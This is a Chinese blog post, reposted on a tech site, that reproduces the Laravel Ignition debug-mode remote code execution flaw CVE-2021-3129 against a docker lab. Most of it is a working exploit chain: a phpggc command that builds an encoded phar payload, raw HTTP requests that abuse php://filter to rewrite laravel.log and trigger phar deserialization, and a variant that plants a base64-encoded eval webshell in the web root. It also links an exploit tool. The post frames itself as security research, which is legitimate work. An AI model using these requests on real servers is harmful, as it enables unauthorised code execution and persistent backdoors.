IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【漏洞复现】CVE-2021-3129 Laravel Debug mode 远程代码执行漏洞 -> 正文阅读

[PHP知识库]【漏洞复现】CVE-2021-3129 Laravel Debug mode 远程代码执行漏洞


声明

仅供安全研究和技术学习,切勿用于非法用途,切记!


前言

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),旨在实现的Web软件的MVC架构,它可以让开发者从面条一样杂乱的代码中解脱出来,帮助构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。

在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样开发者就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。

一、漏洞简介

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

二、影响范围

  • Laravel < 8.4.3
  • facade ignition < 2.5.2

三、环境搭建

  • 实验环境:KALI Linux
  • 靶场地址:
    git clone https://github.com/SNCKER/CVE-2021-3129
    在这里插入图片描述

四、漏洞复现

docker-compose build //重新进行编译
docker-conpose up -d //启动环境
在这里插入图片描述
本地浏览器访问
在这里插入图片描述
点击Generate app key生成应用程序密钥
至此环境搭建完成

验证漏洞是否存在
burpsuite抓取一个数据包,按照下图的形式修改并发送数据包
在这里插入图片描述
页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式。

Laravel Debug mode RCE漏洞利用

方法一:

工具下载地址:git clone https://github.com/ambionics/phpggc.git

(1)首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的):

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:
在这里插入图片描述
(2)发送如下数据包,将Laravel的原日志文件laravel.log清空:

POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

在这里插入图片描述
(3)发送如下数据包,给Log增加一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

在这里插入图片描述
(4)将之前生成的编码后的POC作为viewFile的值,发送数据包:

POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
  }
}

在这里插入图片描述
(5)发送如下数据包,清空对log文件中的干扰字符,只留下POC:

POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

在这里插入图片描述
tips: 这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试

(6) 使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径):

POST /_ignition/execute-solution HTTP/1.1
Host: X.X.X.X:8888
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

在这里插入图片描述
如下图所示,phpinfo()已成功执行,漏洞利用成功:
在这里插入图片描述
我们可以利用该漏洞写入Webshell:

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

重复上述利用步骤后,即可连接Webshell !

方法二:

这里也可直接使用工具生成webshell进行连接(这里使用的是哥斯拉)

github地址:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
在这里插入图片描述
在这里插入图片描述
连接成功!!!


五、修复方法

安全版本

  • Laravel 8.4.3及其以上版本
  • facade ignition 2.5.2 及其以上版本

六、参考链接

  • https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-06 12:42:42  更:2022-03-06 12:43:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:12:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计